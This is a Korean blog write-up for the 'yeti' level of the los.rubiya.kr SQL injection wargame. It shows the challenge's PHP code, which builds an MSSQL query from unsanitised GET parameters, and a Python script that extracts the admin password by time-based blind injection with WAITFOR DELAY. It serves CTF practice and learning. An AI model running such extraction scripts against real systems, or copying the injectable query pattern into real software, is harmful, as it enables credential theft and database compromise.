웹찢남

yeti-writeup 본문

WEB_HACKING/los.rubiya.kr

yeti-writeup

harry595 2020. 1. 31. 19:59

<?php
  
include "./config.php";
  
login_chk();
  
$db mssql_connect("yeti");
  if(
preg_match('/master|sys|information|;/i'$_GET['id'])) exit("No Hack ~_~");
  if(
preg_match('/master|sys|information|;/i'$_GET['pw'])) exit("No Hack ~_~");
  
$query "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
sqlsrv_query($db,$query);

  
$query "select pw from prob_yeti where id='admin'"
  
$result sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if(
$result['pw'] === $_GET['pw']) solve("yeti"); 
  
highlight_file(__FILE__);
?>

 

이번 문제는 보아하니 bsi문제이다.

근데 전과달리 error 를 표출하는 부분도 없고 여러 sql injection을 시도해보다가

html에 별 차이가 없는 것을 발견하고 time based bsi를 해야 겠다 생각이 들어 mssql의 시간 함수를 찾아봤다.

 

https://developerking.tistory.com/65

 

[MSSQL] 프로시저에서 Sleep (Delay) 주기

--시 : 분 : 초 최대 24시간 줄수 있음 WAITFOR DELAY '0:0:5'

developerking.tistory.com

 

두 줄짜리 티스토리였는데 달달했다. 이 함수를 사용하여 코드를 짜 보았다.

 

import re
import requests
import time

flag = ''
test='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,20):
        for j in test:
                        start=time.time()
                        r=requests.post("https://los.rubiya.kr/chall/yeti_e6afc70b892148ced2d1e063c1230255.php?id=1&pw=1' if((select pw from prob_yeti where id='admin') like '"+flag+j+"%') waitfor delay '00:00:03' -- ",cookies=session)
                        end=time.time()
                        if (end-start>3):
                                flag=flag+j
                                print("finding pw: "+flag)
                                break
print("pw "+flag)

 

CLEAR!!!


                

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Kraken-writeup  (0) 2020.01.31
mummy-writeup  (0) 2020.01.31
revenant-writeup  (0) 2020.01.30
Nessie-writeup  (0) 2020.01.30
poltergeist-writeup  (0) 2020.01.30
Comments